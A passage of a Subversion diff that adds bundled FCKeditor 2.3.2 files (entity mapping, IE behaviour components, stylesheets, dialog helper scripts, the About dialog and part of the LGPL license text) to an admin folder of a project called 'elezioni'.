+				'π':'pi',
+				'ρ':'rho',
+				'ς':'sigmaf',
+				'σ':'sigma',
+				'τ':'tau',
+				'υ':'upsilon',
+				'φ':'phi',
+				'χ':'chi',
+				'ψ':'psi',
+				'ω':'omega'
+			} ;
+
+			for ( var e in oEntities )
+			{
+				FCKXHtmlEntities.Entities[ e ] = oEntities[ e ] ;
+				sChars += e ;
+			}
+
+			oEntities = null ;
+		}		
+	}
+	else
+	{
+		FCKXHtmlEntities.Entities = {} ;
+
+		// Even if we are not processing the entities, we must render the &nbsp;
+		// correctly. As we don't want HTML entities, let's use its numeric
+		// representation (&#160).
+		sChars = ' ' ;
+	}
+
+	// Create the Regex used to find entities in the text.
+	var sRegexPattern = '[' + sChars + ']' ;
+	
+	if ( FCKConfig.ProcessNumericEntities )
+		sRegexPattern = '[^ -~]|' + sRegexPattern ;
+
+	var sAdditional = FCKConfig.AdditionalNumericEntities ;
+
+	if ( sAdditional || sAdditional.length > 0 )
+		sRegexPattern += '|' + FCKConfig.AdditionalNumericEntities ;
+
+	FCKXHtmlEntities.EntitiesRegex = new RegExp( sRegexPattern, 'g' ) ;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/css/behaviors/disablehandles.htc
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/css/behaviors/disablehandles.htc	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/css/behaviors/disablehandles.htc	(revision 44)
@@ -0,0 +1,15 @@
+<public:component lightweight="true">
+
+<script language="javascript">
+
+function CancelEvent()
+{
+	return false ;
+}
+
+this.onresizestart = CancelEvent ;
+this.onbeforeeditfocus = CancelEvent ;
+
+</script>
+
+</public:component>
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/css/behaviors/hiddenfield.htc
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/css/behaviors/hiddenfield.htc	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/css/behaviors/hiddenfield.htc	(revision 44)
@@ -0,0 +1,30 @@
+<public:component lightweight="true">
+
+<public:attach event="oncontentready" onevent="ShowField()" />
+<public:attach event="ondoubleclick" onevent="EditField()" />
+
+<script language="javascript">
+
+var bIsHiddenField = this.type == 'hidden' ;
+
+function ShowField()
+{
+	if ( bIsHiddenField ) 
+	{
+		this.runtimeStyle.width				= '20px' ;
+		this.runtimeStyle.height			= '20px' ;
+		this.runtimeStyle.border			= '1px dotted #FF0000' ;
+		this.runtimeStyle.backgroundImage	= 'url(css/behaviors/hiddenfield.gif)' ;
+		this.runtimeStyle.fontSize			= '99px' ;
+	}
+}
+
+function EditField()
+{
+	if ( bIsHiddenField ) 
+		alert( this.outerHTML ) ;
+}
+
+</script>
+
+</public:component>
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/css/behaviors/showtableborders.htc
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/css/behaviors/showtableborders.htc	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/css/behaviors/showtableborders.htc	(revision 44)
@@ -0,0 +1,36 @@
+<public:component lightweight="true">
+
+<public:attach event="oncontentready" onevent="ShowBorders()" />
+<public:attach event="onpropertychange" onevent="OnPropertyChange()" />
+
+<script language="javascript">
+
+var oClassRegex = /\s*FCK__ShowTableBorders/ ;
+
+function ShowBorders()
+{
+	if ( this.border == 0 )
+	{
+		if ( !oClassRegex.test( this.className ) )
+			this.className += ' FCK__ShowTableBorders' ;
+	}
+	else
+	{
+		if ( oClassRegex.test( this.className ) )
+		{
+			this.className = this.className.replace( oClassRegex, '' ) ;
+			if ( this.className.length == 0 )
+				this.removeAttribute( 'className', 0 ) ;
+		}
+	}
+}
+
+function OnPropertyChange()
+{
+	if ( event.propertyName == 'border' || event.propertyName == 'className' )
+		ShowBorders.call(this) ;
+}
+
+</script>
+
+</public:component>
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/css/fck_editorarea.css
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/css/fck_editorarea.css	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/css/fck_editorarea.css	(revision 44)
@@ -0,0 +1,92 @@
+/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fck_editorarea.css
+ * 	This is the default CSS file used by the editor area. It defines the
+ * 	initial font of the editor and background color.
+ * 
+ * 	A user can configure the editor to use another CSS file. Just change
+ * 	the value of the FCKConfig.EditorAreaCSS key in the configuration
+ * 	file.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+/*
+    The "body" styles should match your editor web site, mainly regarding
+    background color and font family and size.
+*/
+
+body
+{
+	background-color: #ffffff;
+	padding: 5px 5px 5px 5px;
+	margin: 0px;
+}
+
+body, td
+{
+	font-family: Arial, Verdana, Sans-Serif;
+	font-size: 12px;
+}
+
+a
+{
+	color: #0000FF !important;	/* For Firefox... mark as important, otherwise it becomes black */
+}
+
+h3
+{
+	color: #000080;
+}
+
+/* 
+	Just uncomment the following block if you want to avoid spaces between 
+	paragraphs. Remember to apply the same style in your output front end page.
+*/
+
+/*
+P, UL, LI
+{
+	margin-top: 0px;
+	margin-bottom: 0px;
+}
+*/
+
+/*
+    The following are some sample styles used in the "Styles" toolbar command.
+    You should instead remove them, and include the styles used by the site
+    you are using the editor in.
+*/
+
+.Bold
+{
+	font-weight: bold;
+}
+
+.Title
+{
+	font-weight: bold;
+	font-size: 18px;
+	color: #cc3300;
+}
+
+.Code
+{
+	border: #8b4513 1px solid;
+	padding-right: 5px;
+	padding-left: 5px;
+	color: #000066;
+	font-family: 'Courier New' , Monospace;
+	background-color: #ff9933;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/css/fck_internal.css
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/css/fck_internal.css	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/css/fck_internal.css	(revision 44)
@@ -0,0 +1,88 @@
+/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fck_internal.css
+ * 	This CSS Style Sheet defines rules used by the editor for its internal use.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+/* Fix to allow putting the caret at the end of the
+content in Firefox if clicking below the content */
+html
+{
+	min-height:100%;
+}
+
+
+table.FCK__ShowTableBorders, table.FCK__ShowTableBorders td, table.FCK__ShowTableBorders th
+{
+	border: #d3d3d3 1px solid;
+}
+
+form
+{
+	border: 1px dotted #FF0000;
+	padding: 2px;
+}
+
+.FCK__Flash
+{
+	border: darkgray 1px solid;
+	background-position: center center;
+	background-image: url(images/fck_flashlogo.gif);
+	background-repeat: no-repeat;
+	width: 80px;
+	height: 80px;
+}
+
+.FCK__Anchor
+{
+	background-position: center center;
+	background-image: url(images/fck_anchor.gif);
+	background-repeat: no-repeat;
+	width: 16px;
+	height: 15px;
+}
+
+.FCK__PageBreak
+{
+	background-position: center center;
+	background-image: url(images/fck_pagebreak.gif);
+	background-repeat: no-repeat;
+	clear: both;
+	display: block;
+	float: none;
+	width: 100%;
+	border-top: #999999 1px dotted;
+	border-bottom: #999999 1px dotted;
+	border-right: 0px;
+	border-left: 0px;
+	height: 5px;
+}
+
+input[type="hidden"]
+{
+	display: inline;
+	width:20px;
+	height:20px;
+	border:1px dotted #FF0000 ;
+	background-image: url(behaviors/hiddenfield.gif);
+	background-repeat: no-repeat;
+}
+
+input[type="hidden"]:after
+{
+	padding-left: 20px;
+	content: "" ;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/css/fck_showtableborders_gecko.css
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/css/fck_showtableborders_gecko.css	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/css/fck_showtableborders_gecko.css	(revision 44)
@@ -0,0 +1,38 @@
+/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fck_showtableborders_gecko.css
+ * 	This CSS Style Sheet defines the rules to show table borders on Gecko.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+/* For tables with the "border" attribute set to "0" */
+table[border="0"], 
+table[border="0"] > tr > td, table[border="0"] > tr > th, 
+table[border="0"] > tbody > tr > td, table[border="0"] > tbody > tr > th, 
+table[border="0"] > thead > tr > td, table[border="0"] > thead > tr > th, 
+table[border="0"] > tfoot > tr > td, table[border="0"] > tfoot > tr > th
+{
+	border: #d3d3d3 1px dotted ;
+}
+
+/* For tables with no "border" attribute set */
+table:not([border]), 
+table:not([border]) > tr > td, table:not([border]) > tr > th,
+table:not([border]) > tbody > tr > td, table:not([border]) > tbody > tr > th,
+table:not([border]) > thead > tr > td, table:not([border]) > thead > tr > th,
+table:not([border]) > tfoot > tr > td, table:not([border]) > tfoot > tr > th
+{
+	border: #d3d3d3 1px dotted ;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/common/fck_dialog_common.css
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/common/fck_dialog_common.css	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/common/fck_dialog_common.css	(revision 44)
@@ -0,0 +1,79 @@
+/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fck_dialog_common.css
+ * 	This is the CSS file used for interface details in some dialog
+ * 	windows.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+.ImagePreviewArea
+{
+	border: #000000 1px solid;
+	overflow: auto;
+	width: 100%;
+	height: 170px;
+	background-color: #ffffff;
+}
+
+.FlashPreviewArea
+{
+	border: #000000 1px solid;
+	padding: 5px;
+	overflow: auto;
+	width: 100%;
+	height: 170px;
+	background-color: #ffffff;
+}
+
+.BtnReset
+{
+	float: left;
+	background-position: center center;
+	background-image: url(images/reset.gif);
+	width: 16px;
+	height: 16px;
+	background-repeat: no-repeat;
+	border: 1px none;
+	font-size: 1px ;
+}
+
+.BtnLocked, .BtnUnlocked
+{
+	float: left;
+	background-position: center center;
+	background-image: url(images/locked.gif);
+	width: 16px;
+	height: 16px;
+	background-repeat: no-repeat;
+	border: none 1px;
+	font-size: 1px ;
+}
+
+.BtnUnlocked
+{
+	background-image: url(images/unlocked.gif);
+}
+
+.BtnOver
+{
+	border: outset 1px;
+	cursor: pointer;
+	cursor: hand;
+}
+
+.FCK__FieldNumeric
+{
+	behavior: url(common/fcknumericfield.htc) ;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/common/fck_dialog_common.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/common/fck_dialog_common.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/common/fck_dialog_common.js	(revision 44)
@@ -0,0 +1,148 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fck_dialog_common.js
+ * 	Useful functions used by almost all dialog window pages.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+// Gets a element by its Id. Used for shorter coding.
+function GetE( elementId )
+{
+	return document.getElementById( elementId )  ;
+}
+
+function ShowE( element, isVisible )
+{
+	if ( typeof( element ) == 'string' )
+		element = GetE( element ) ;
+	element.style.display = isVisible ? '' : 'none' ;
+}
+
+function SetAttribute( element, attName, attValue )
+{
+	if ( attValue == null || attValue.length == 0 )
+		element.removeAttribute( attName, 0 ) ;			// 0 : Case Insensitive
+	else
+		element.setAttribute( attName, attValue, 0 ) ;	// 0 : Case Insensitive
+}
+
+function GetAttribute( element, attName, valueIfNull )
+{
+	var oAtt = element.attributes[attName] ;
+
+	if ( oAtt == null || !oAtt.specified )
+		return valueIfNull ? valueIfNull : '' ;
+
+	var oValue ;
+	
+	if ( !( oValue = element.getAttribute( attName, 2 ) ) )
+		oValue = oAtt.nodeValue ;
+
+	return ( oValue == null ? valueIfNull : oValue ) ;
+}
+
+// Functions used by text fiels to accept numbers only.
+function IsDigit( e )
+{
+	if ( !e )
+		e = event ;
+
+	var iCode = ( e.keyCode || e.charCode ) ;
+	
+	return (
+			( iCode >= 48 && iCode <= 57 )		// Numbers
+			|| (iCode >= 37 && iCode <= 40)		// Arrows
+			|| iCode == 8						// Backspace
+			|| iCode == 46						// Delete
+	) ;
+}
+
+String.prototype.trim = function()
+{
+	return this.replace( /(^\s*)|(\s*$)/g, '' ) ;
+}
+
+String.prototype.startsWith = function( value )
+{
+	return ( this.substr( 0, value.length ) == value ) ;
+}
+
+String.prototype.remove = function( start, length )
+{
+	var s = '' ;
+
+	if ( start > 0 )
+		s = this.substring( 0, start ) ;
+
+	if ( start + length < this.length )
+		s += this.substring( start + length , this.length ) ;
+
+	return s ;
+}
+
+String.prototype.ReplaceAll = function( searchArray, replaceArray )
+{
+	var replaced = this ;
+	
+	for ( var i = 0 ; i < searchArray.length ; i++ )
+	{
+		replaced = replaced.replace( searchArray[i], replaceArray[i] ) ;
+	}
+	
+	return replaced ;
+}
+
+function OpenFileBrowser( url, width, height )
+{
+	// oEditor must be defined.
+	
+	var iLeft = ( oEditor.FCKConfig.ScreenWidth  - width ) / 2 ;
+	var iTop  = ( oEditor.FCKConfig.ScreenHeight - height ) / 2 ;
+
+	var sOptions = "toolbar=no,status=no,resizable=yes,dependent=yes,scrollbars=yes" ;
+	sOptions += ",width=" + width ;
+	sOptions += ",height=" + height ;
+	sOptions += ",left=" + iLeft ;
+	sOptions += ",top=" + iTop ;
+
+	// The "PreserveSessionOnFileBrowser" because the above code could be 
+	// blocked by popup blockers.
+	if ( oEditor.FCKConfig.PreserveSessionOnFileBrowser && oEditor.FCKBrowserInfo.IsIE )
+	{
+		// The following change has been made otherwise IE will open the file 
+		// browser on a different server session (on some cases):
+		// http://support.microsoft.com/default.aspx?scid=kb;en-us;831678
+		// by Simone Chiaretta.
+		var oWindow = oEditor.window.open( url, 'FCKBrowseWindow', sOptions ) ;
+		
+		if ( oWindow )
+		{
+			// Detect Yahoo popup blocker.
+			try
+			{
+				var sTest = oWindow.name ; // Yahoo returns "something", but we can't access it, so detect that and avoid strange errors for the user.
+				oWindow.opener = window ;
+			}
+			catch(e)
+			{
+				alert( oEditor.FCKLang.BrowseServerBlocked ) ;
+			}
+		}
+		else
+			alert( oEditor.FCKLang.BrowseServerBlocked ) ;
+    }
+    else
+		window.open( url, 'FCKBrowseWindow', sOptions ) ;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/common/fcknumericfield.htc
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/common/fcknumericfield.htc	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/common/fcknumericfield.htc	(revision 44)
@@ -0,0 +1,24 @@
+<public:component lightweight="true">
+
+<script language="javascript">
+
+function CheckIsDigit()
+{
+	var iCode = event.keyCode ;
+
+	event.returnValue =
+		(
+			( iCode >= 48 && iCode <= 57 )		// Numbers
+			|| (iCode >= 37 && iCode <= 40)		// Arrows
+			|| iCode == 8						// Backspace
+			|| iCode == 46						// Delete
+		) ;
+
+	return event.returnValue ;
+}
+
+this.onkeypress = CheckIsDigit ;
+
+</script>
+
+</public:component>
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/common/moz-bindings.xml
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/common/moz-bindings.xml	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/common/moz-bindings.xml	(revision 44)
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<bindings xmlns="http://www.mozilla.org/xbl">
+	<binding id="numericfield">
+		<implementation>
+			<constructor>
+				this.keypress = CheckIsDigit ;
+			</constructor>
+			<method name="CheckIsDigit">
+				<body>
+					<![CDATA[
+					var iCode = keyCode ;
+
+					var bAccepted =
+						(
+							( iCode >= 48 && iCode <= 57 )		// Numbers
+							|| (iCode >= 37 && iCode <= 40)		// Arrows
+							|| iCode == 8											// Backspace
+							|| iCode == 46										// Delete
+						) ;
+
+					return bAccepted ;
+					]]>
+				</body>
+			</method>
+		</implementation>
+		<events>
+			<event type="keypress" value="CheckIsDigit()" />
+		</events>
+	</binding>
+</bindings>
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_about.html
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_about.html	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_about.html	(revision 44)
@@ -0,0 +1,145 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<!--
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fck_about.html
+ * 	"About" dialog window.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+-->
+<html>
+	<head>
+		<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
+		<meta name="robots" content="noindex, nofollow">
+		<script src="common/fck_dialog_common.js" type="text/javascript"></script>
+		<script language="javascript">
+
+var oEditor = window.parent.InnerDialogLoaded() ;
+var FCKLang	= oEditor.FCKLang ;
+
+window.parent.AddTab( 'About', FCKLang.DlgAboutAboutTab ) ;
+window.parent.AddTab( 'License', FCKLang.DlgAboutLicenseTab ) ;
+window.parent.AddTab( 'BrowserInfo', FCKLang.DlgAboutBrowserInfoTab ) ;
+
+// Function called when a dialog tag is selected.
+function OnDialogTabChange( tabCode )
+{
+	ShowE('divAbout', ( tabCode == 'About' ) ) ;
+	ShowE('divLicense', ( tabCode == 'License' ) ) ;
+	ShowE('divInfo'	, ( tabCode == 'BrowserInfo' ) ) ;
+}
+
+function SendEMail()
+{
+	var eMail = 'mailto:' ;
+	eMail += 'fredck' ;
+	eMail += '@' ;
+	eMail += 'fckeditor' ;
+	eMail += '.' ;
+	eMail += 'net' ;
+
+	window.location = eMail ;
+}
+
+window.onload = function()
+{
+	// Translate the dialog box texts.
+	oEditor.FCKLanguageManager.TranslatePage(document) ;
+
+	window.parent.SetAutoSize( true ) ;
+}
+
+		</script>
+	</head>
+	<body scroll="no" style="OVERFLOW: hidden">
+		<div id="divAbout">
+			<table cellpadding="0" cellspacing="0" border="0" width="100%" height="100%">
+				<tr>
+					<td>
+						<img alt="" src="fck_about/logo_fckeditor.gif" width="236" height="41" align="left">
+						<table width="80" border="0" cellspacing="0" cellpadding="5" bgcolor="#ffffff" align="right">
+							<tr>
+								<td align="center" nowrap style="BORDER-RIGHT: #000000 1px solid; BORDER-TOP: #000000 1px solid; BORDER-LEFT: #000000 1px solid; BORDER-BOTTOM: #000000 1px solid">
+									<span fckLang="DlgAboutVersion">version</span>
+									<br>
+									<b>2.3.2</b><br />
+									Build 1082</td>
+							</tr>
+						</table>
+					</td>
+				</tr>
+				<tr height="100%">
+					<td align="center">
+						&nbsp;<br>
+						<span style="FONT-SIZE: 14px" dir="ltr"><br>
+							<b><a href="http://www.fckeditor.net/?about" target="_blank" title="Visit the FCKeditor web site">
+									Support <b>Open Source</b> Software</a></b> </span>
+						<br><br><br>
+						<span fckLang="DlgAboutInfo">For further information go to</span> <a href="http://www.fckeditor.net/?About" target="_blank">
+							http://www.fckeditor.net/</a>.
+						<br>
+						Copyright &copy; 2003-2006 <a href="#" onclick="SendEMail();">Frederico Caldeira 
+							Knabben</a>
+					</td>
+				</tr>
+				<tr>
+					<td align="center">
+						<img alt="" src="fck_about/logo_fredck.gif" width="87" height="36">
+					</td>
+				</tr>
+			</table>
+		</div>
+		<div id="divLicense" style="DISPLAY: none">
+			<table height="100%" width="100%">
+				<tr>
+					<td>
+						<span fckLang="DlgAboutLicense">Licensed under the terms of the GNU Lesser General 
+							Public License</span>
+						<br>
+						<a href="http://www.opensource.org/licenses/lgpl-license.php" target="_blank">http://www.opensource.org/licenses/lgpl-license.php</a>
+						<br>
+					</td>
+				</tr>
+				<tr>
+					<td height="100%">
+						<iframe height="100%" width="100%" src="fck_about/lgpl.html"></iframe>
+					</td>
+				</tr>
+			</table>
+		</div>
+		<div id="divInfo" style="DISPLAY: none" dir="ltr">
+			<table align="center" width="80%" border="0">
+				<tr>
+					<td>
+						<script language="javascript">
+<!--
+document.write( '<b>User Agent<\/b><br>' + window.navigator.userAgent + '<br><br>' ) ;
+document.write( '<b>Browser<\/b><br>' + window.navigator.appName + ' ' + window.navigator.appVersion + '<br><br>' ) ;
+document.write( '<b>Platform<\/b><br>' + window.navigator.platform + '<br><br>' ) ;
+
+var sUserLang = '?' ;
+
+if ( window.navigator.language )
+	sUserLang = window.navigator.language.toLowerCase() ;
+else if ( window.navigator.userLanguage )
+	sUserLang = window.navigator.userLanguage.toLowerCase() ;
+
+document.write( '<b>User Language<\/b><br>' + sUserLang ) ;
+//-->
+						</script>
+					</td>
+				</tr>
+			</table>
+		</div>
+	</body>
+</html>
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_about/lgpl.html
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_about/lgpl.html	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_about/lgpl.html	(revision 44)
@@ -0,0 +1,434 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<html>
+	<head>
+		<title>GNU Lesser General Public License</title>
+		<meta name="vs_targetSchema" content="http://schemas.microsoft.com/intellisense/ie5">
+		<STYLE>
+			BODY { FONT-SIZE: 12px }
+		</STYLE>
+	</head>
+	<body>
+		<H3>GNU Lesser General Public License</H3>
+		<TT>
+			<P>Version 2.1, February 1999</P>
+			<BLOCKQUOTE>
+				<P>Copyright (C) 1991, 1999 Free Software Foundation, Inc. 59 Temple Place, Suite 
+					330, Boston, MA 02111-1307 USA Everyone is permitted to copy and distribute 
+					verbatim copies of this license document, but changing it is not allowed.</P>
+				<P>[This is the first released version of the Lesser GPL. It also counts as the 
+					successor of the GNU Library Public License, version 2, hence the version 
+					number 2.1.]</P>
+			</BLOCKQUOTE>
+			<H4>Preamble</H4>
+			<P>The licenses for most software are designed to take away your freedom to share 
+				and change it. By contrast, the GNU General Public Licenses are intended to 
+				guarantee your freedom to share and change free software--to make sure the 
+				software is free for all its users.
+			</P>
+			<P>This license, the Lesser General Public License, applies to some specially 
+				designated software packages--typically libraries--of the Free Software 
+				Foundation and other authors who decide to use it. You can use it too, but we 
+				suggest you first think carefully about whether this license or the ordinary 
+				General Public License is the better strategy to use in any particular case, 
+				based on the explanations below.
+			</P>
+			<P>When we speak of free software, we are referring to freedom of use, not price. 
+				Our General Public Licenses are designed to make sure that you have the freedom 
+				to distribute copies of free software (and charge for this service if you 
+				wish); that you receive source code or can get it if you want it; that you can 
+				change the software and use pieces of it in new free programs; and that you are 
+				informed that you can do these things.</P>
+			<P>To protect your rights, we need to make restrictions that forbid distributors to 
+				deny you these rights or to ask you to surrender these rights. These 
+				restrictions translate to certain responsibilities for you if you distribute 
+				copies of the library or if you modify it.
+			</P>
+			<P>For example, if you distribute copies of the library, whether gratis or for a 
+				fee, you must give the recipients all the rights that we gave you. You must 
+				make sure that they, too, receive or can get the source code. If you link other 
+				code with the library, you must provide complete object files to the 
+				recipients, so that they can relink them with the library after making changes 
+				to the library and recompiling it. And you must show them these terms so they 
+				know their rights.
+			</P>
+			<P>We protect your rights with a two-step method: (1) we copyright the library, and 
+				(2) we offer you this license, which gives you legal permission to copy, 
+				distribute and/or modify the library.
+			</P>
+			<P>To protect each distributor, we want to make it very clear that there is no 
+				warranty for the free library. Also, if the library is modified by someone else 
+				and passed on, the recipients should know that what they have is not the 
+				original version, so that the original author's reputation will not be affected 
+				by problems that might be introduced by others.
+			</P>
+			<P>Finally, software patents pose a constant threat to the existence of any free 
+				program. We wish to make sure that a company cannot effectively restrict the 
+				users of a free program by obtaining a restrictive license from a patent 
+				holder. Therefore, we insist that any patent license obtained for a version of 
+				the library must be consistent with the full freedom of use specified in this 
+				license.
+			</P>
+			<P>Most GNU software, including some libraries, is covered by the ordinary GNU 
+				General Public License. This license, the GNU Lesser General Public License, 
+				applies to certain designated libraries, and is quite different from the 
+				ordinary General Public License. We use this license for certain libraries in 
+				order to permit linking those libraries into non-free programs.
+			</P>
+			<P>When a program is linked with a library, whether statically or using a shared 
+				library, the combination of the two is legally speaking a combined work, a 
+				derivative of the original library. The ordinary General Public License 
+				therefore permits such linking only if the entire combination fits its criteria 
+				of freedom. The Lesser General Public License permits more lax criteria for 
+				linking other code with the library.
+			</P>
+			<P>We call this license the "Lesser" General Public License because it does Less to 
+				protect the user's freedom than the ordinary General Public License. It also 
+				provides other free software developers Less of an advantage over competing 
+				non-free programs. These disadvantages are the reason we use the ordinary 
+				General Public License for many libraries. However, the Lesser license provides 
+				advantages in certain special circumstances.
+			</P>
+			<P>For example, on rare occasions, there may be a special need to encourage the 
+				widest possible use of a certain library, so that it becomes a de-facto 
+				standard. To achieve this, non-free programs must be allowed to use the 
+				library. A more frequent case is that a free library does the same job as 
+				widely used non-free libraries. In this case, there is little to gain by 
+				limiting the free library to free software only, so we use the Lesser General 
+				Public License.
+			</P>
+			<P>In other cases, permission to use a particular library in non-free programs 
+				enables a greater number of people to use a large body of free software. For 
+				example, permission to use the GNU C Library in non-free programs enables many 
+				more people to use the whole GNU operating system, as well as its variant, the 
+				GNU/Linux operating system.
+			</P>
+			<P>Although the Lesser General Public License is Less protective of the users' 
+				freedom, it does ensure that the user of a program that is linked with the 
+				Library has the freedom and the wherewithal to run that program using a 
+				modified version of the Library.
+			</P>
+			<P>The precise terms and conditions for copying, distribution and modification 
+				follow. Pay close attention to the difference between a "work based on the 
+				library" and a "work that uses the library". The former contains code derived 
+				from the library, whereas the latter must be combined with the library in order 
+				to run.
+			</P>
+			<H4>TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION</H4>
+			<P><STRONG>0.</STRONG> This License Agreement applies to any software library or 
+				other program which contains a notice placed by the copyright holder or other 
+				authorized party saying it may be distributed under the terms of this Lesser 
+				General Public License (also called "this License"). Each licensee is addressed 
+				as "you".</P>
+			<P>A "library" means a collection of software functions and/or data prepared so as 
+				to be conveniently linked with application programs (which use some of those 
+				functions and data) to form executables.
+			</P>
+			<P>The "Library", below, refers to any such software library or work which has been 
+				distributed under these terms. A "work based on the Library" means either the 
+				Library or any derivative work under copyright law: that is to say, a work 
+				containing the Library or a portion of it, either verbatim or with 
+				modifications and/or translated straightforwardly into another language. 
+				(Hereinafter, translation is included without limitation in the term 
+				"modification".)
+			</P>
+			<P>"Source code" for a work means the preferred form of the work for making 
+				modifications to it. For a library, complete source code means all the source 
+				code for all modules it contains, plus any associated interface definition 
+				files, plus the scripts used to control compilation and installation of the 
+				library.</P>
+			<P>Activities other than copying, distribution and modification are not covered by 
+				this License; they are outside its scope. The act of running a program using 
+				the Library is not restricted, and output from such a program is covered only 
+				if its contents constitute a work based on the Library (independent of the use 
+				of the Library in a tool for writing it). Whether that is true depends on what 
+				the Library does and what the program that uses the Library does.
+			</P>
+			<P><STRONG>1.</STRONG> You may copy and distribute verbatim copies of the Library's 
+				complete source code as you receive it, in any medium, provided that you 
+				conspicuously and appropriately publish on each copy an appropriate copyright 
+				notice and disclaimer of warranty; keep intact all the notices that refer to 
+				this License and to the absence of any warranty; and distribute a copy of this 
+				License along with the Library.
+			</P>
+			<P>You may charge a fee for the physical act of transferring a copy, and you may at 
+				your option offer warranty protection in exchange for a fee.
+			</P>
+			<P><STRONG>2.</STRONG> You may modify your copy or copies of the Library or any 
+				portion of it, thus forming a work based on the Library, and copy and 
